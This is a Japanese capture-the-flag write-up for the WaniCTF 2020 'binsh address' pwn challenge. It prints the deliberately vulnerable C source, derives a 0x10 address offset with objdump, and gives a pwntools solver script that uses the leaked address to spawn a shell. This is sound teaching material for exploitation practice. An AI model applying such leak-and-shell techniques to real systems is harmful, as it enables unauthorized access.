WaniCTF 2020 pwn 03 binsh address Writeup


実行すると

$ ./pwn03
The address of "input  " is 0x555e3fd04010.
Please input "/bin/sh" address as a hex number: 

"input" のアドレスをリークするから, "/bin/sh" のアドレスを答えよ
という問題

ソースは

pwn03.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char str_head[] = "Please input \"";
char binsh[] = "/bin/sh";
char str_tail[] = "\" address as a hex number: ";

void init();

void vuln()
{
    char name[0x20];
    unsigned long int val;
    char *p;
    int ret;

    write(0, str_head, strlen(str_head));
    write(0, binsh, strlen(binsh));
    write(0, str_tail, strlen(str_tail));

    ret = read(0, name, 0x20);
    name[ret - 1] = 0;
    val = strtol(name, NULL, 16);
    printf("Your input address is 0x%lx.\n", val);
    p = (char *) val;
    if(p == binsh){
        puts("Congratulation!");
        system(p);
        exit(0);
    }else{
        puts("You are wrong.\n\n");
    }
}

int main()
{
    init();
    printf("The address of \"input  \" is 0x%lx.\n", (unsigned long int) str_head);    
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

注目すべき点は

char str_head[] = "Please input \"";
char binsh[] = "/bin/sh";

printf("The address of \"input  \" is 0x%lx.\n", (unsigned long int) str_head);    

リークされた str_head のアドレスのすぐ近くに binsh のアドレスがある。

objdump で見てみる

$ objdump -d -M intel ./pwn03 | grep str_head
 a11:   48 8d 3d f8 15 20 00    lea    rdi,[rip+0x2015f8]        # 202010 <str_head>
 a20:   48 8d 35 e9 15 20 00    lea    rsi,[rip+0x2015e9]        # 202010 <str_head>
 b31:   48 8d 05 d8 14 20 00    lea    rax,[rip+0x2014d8]        # 202010 <str_head>
$ objdump -d -M intel ./pwn03 | grep binsh
 a31:   48 8d 3d e8 15 20 00    lea    rdi,[rip+0x2015e8]        # 202020 <binsh>
 a40:   48 8d 35 d9 15 20 00    lea    rsi,[rip+0x2015d9]        # 202020 <binsh>
 ad1:   48 8d 05 48 15 20 00    lea    rax,[rip+0x201548]        # 202020 <binsh>

str_head と binsh の相対アドレスの差は 0x10

なのでリークされたアドレスに + 0x10 する

$ ./pwn03
The address of "input  " is 0x55e86f004010.
Please input "/bin/sh" address as a hex number: 0x55e86f004020
Your input address is 0x55e86f004020.
Congratulation!

pwnツールを使ったソルバー

pwn03.py
import pwn

#io = pwn.remote("binsh.wanictf.org", 9003)
io = pwn.process("./pwn03")

ret = io.readuntil("The address of \"input  \" is ")
print(ret)

leak = io.readuntil(".")
print("leak="+leak)

ans = hex(int(leak[2:14],16)+0x10)
print("ans="+ans)

#ret = io.readuntil("number: ")
#print(ret)

io.sendline(ans)
io.interactive()

実行結果

$ python pwn03.py 
[+] Starting local process './pwn03': pid 3393
The address of "input  " is 
leak=0x55bba0aea010.
ans=0x55bba0aea020
[*] Switching to interactive mode

Your input address is 0x55bba0aea020.
Congratulation!
$ ls